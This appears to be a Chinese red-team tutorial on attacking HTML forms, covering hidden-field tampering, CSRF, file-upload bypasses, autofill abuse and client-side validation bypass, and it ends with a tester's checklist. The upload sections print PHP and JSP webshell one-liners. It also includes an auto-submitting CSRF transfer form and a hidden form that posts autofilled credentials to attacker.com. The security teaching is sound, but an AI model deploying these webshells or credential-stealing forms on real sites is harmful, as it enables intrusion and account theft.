目录


一、表单基本结构

<form action="/submit" method="POST" enctype="application/x-www-form-urlencoded">
  <label for="username">用户名</label>
  <input type="text" id="username" name="username" placeholder="请输入用户名" required>
  
  <label for="password">密码</label>
  <input type="password" id="password" name="password" minlength="6">
  
  <input type="hidden" name="csrf_token" value="abc123def456">
  
  <button type="submit">登录</button>
</form>

核心元素:

  • <form>:表单容器,定义提交目标(action)、方法(method)、编码(enctype)
  • <input>:最常用的表单控件,type决定行为
  • <label>:标签,for属性关联input的id,提升可访问性和点击区域
  • <button>:提交按钮,type可为submit/reset/button
  • <select> + <option>:下拉选择
  • <textarea>:多行文本

二、Input类型详解

type说明安全关注
text单行文本最常见注入点
password密码(掩码显示)浏览器可能保存明文
hidden隐藏字段CSRF Token载体,也是篡改目标
checkbox复选框可篡改布尔权限
radio单选按钮可篡改选项
file文件上传WebShell上传入口
submit提交按钮formaction属性可被注入
email邮箱(浏览器验证格式)客户端验证不可信
number数字(滚轮调节)可尝试负数/超大数溢出
urlURL(浏览器验证格式)同上
date日期日期逻辑漏洞
search搜索框搜索型注入
range滑块JavaScript可操控的值域

三、表单提交机制

Content-Type 三种方式

1. application/x-www-form-urlencoded(默认)

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=123456&csrf_token=abc

2. multipart/form-data(有文件时)

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="username"
admin
------WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

3. application/json(AJAX常见)

POST /api/login HTTP/1.1
Content-Type: application/json

{"username":"admin","password":"123456"}

红队关注:

  • 浏览器默认只能发起urlencoded和multipart两种。JSON必须通过JS构造
  • CSRF攻击针对urlencoded表单最容易,multipart可被HTML form模拟,JSON需要特殊技巧
  • 服务端可能只接受JSON而忽略type检查,可通过修改Content-Type绕过

四、隐藏字段与CSRF

隐藏字段(<input type="hidden">)在页面上不可见但随表单提交,常用于传输CSRF Token、用户ID、价格等敏感数据。

典型攻击场景

场景1:修改价格

原表单:<input type="hidden" name="price" value="999">
攻击:改为 <input type="hidden" name="price" value="1">

场景2:修改用户角色

原表单:<input type="hidden" name="role_id" value="3">  (普通用户)
攻击:改为 <input type="hidden" name="role_id" value="1">  (管理员)

场景3:修改目标用户ID(IDOR)

原表单:<input type="hidden" name="target_user_id" value="123">
攻击:改为 <input type="hidden" name="target_user_id" value="1">  (admin)

CSRF攻击表单模板

攻击者在evil.com放置自动提交表单:

<form action="https://bank.com/transfer" method="POST" id="csrfForm">
  <input type="hidden" name="to_account" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrfForm').submit();</script>

五、文件上传机制

文件上传的HTML层

<form action="/upload" method="POST" enctype="multipart/form-data">
  <input type="file" name="file" accept=".jpg,.png,.gif">
  <input type="submit" value="上传">
</form>

关键属性:

  • enctype="multipart/form-data" 必须
  • accept 仅在客户端限制——完全不可信
  • multiple 允许多文件

绕过客户端文件限制

  1. 修改accept属性(DevTools / Burp拦截)
  2. 直接构造multipart请求(curl / Burp Repeater)
  3. 修改文件扩展名(shell.php → shell.php.jpg 或 shell.php%00.jpg)
  4. 修改Content-Type头(image/jpeg + PHP代码在文件内容中)

WebShell上传实战模板

// shell.php - PHP一句话
<?php @eval($_POST['cmd']); ?>
// 访问:POST /uploads/shell.php cmd=system('id');
// shell.jsp - Java
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

六、自动填充与凭据窃取

浏览器自动填充机制

浏览器会根据 name 属性自动填充已保存的凭据:

<input type="text" name="username" autocomplete="username">
<input type="password" name="password" autocomplete="current-password">

凭据钓鱼表单

攻击者在XSS注入后插入隐藏表单窃取自动填充的数据:

<form action="https://attacker.com/steal" method="POST">
  <input type="text" name="username" autocomplete="username" style="opacity:0">
  <input type="password" name="password" autocomplete="current-password" style="opacity:0">
</form>
<script>document.forms[0].submit();</script>

浏览器的自动填充策略越来越严格(需用户交互),但 autocomplete="off" 在某些浏览器上不被尊重。

七、表单验证绕过的艺术

客户端验证不可信

<!-- 客户端验证 -->
<input type="text" name="email" pattern="[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,}$" required>
<input type="number" name="age" min="18" max="120">
<input type="text" name="name" maxlength="20">

所有客户端验证都可通过以下方式绕过:

  1. Burp Suite 拦截修改请求
  2. DevTools 删除/修改HTML属性
  3. 直接 curl 构造请求
  4. 修改JavaScript验证函数(如果存在)

常见服务端验证漏洞

漏洞类型示例利用
客户端验证缺失无服务端重复验证直接提交恶意数据
黑名单不完整只过滤 <script><img onerror=...>, <svg onload=...>
白名单遗漏只检查扩展名shell.php.jpg
类型混淆期望int却接受stringSQL/命令注入
长度验证仅在前端maxlength=20Burp改长度发超大payload

八、红队视角总结

表单攻击速查表

攻击向量修改点工具
参数篡改hidden/value/nameBurp Suite
CSRF跨域自动提交表单自建evil页面
文件上传accept/enctype/MIMEcurl + Burp
客户端验证绕过pattern/required/maxlengthBurp Repeater
凭据窃取autocomplete + hidden表单XSS注入
逻辑漏洞价格/数量/角色IDBurp手动测试

测试检查清单

  • 所有隐藏字段修改后是否被服务端接受?
  • 价格/数量/优惠券参数是否在服务端验证?
  • 文件上传是否检查了文件内容和MIME类型?
  • 是否存在CSRF Token?Token是否可预测?
  • 修改Content-Type后服务端行为是否变化?
  • 是否使用了不安全的HTTP方法(PUT/DELETE通过form无法发起,但CSRF仍可能)

返回 HTML基础总目录 | 前端基础总目录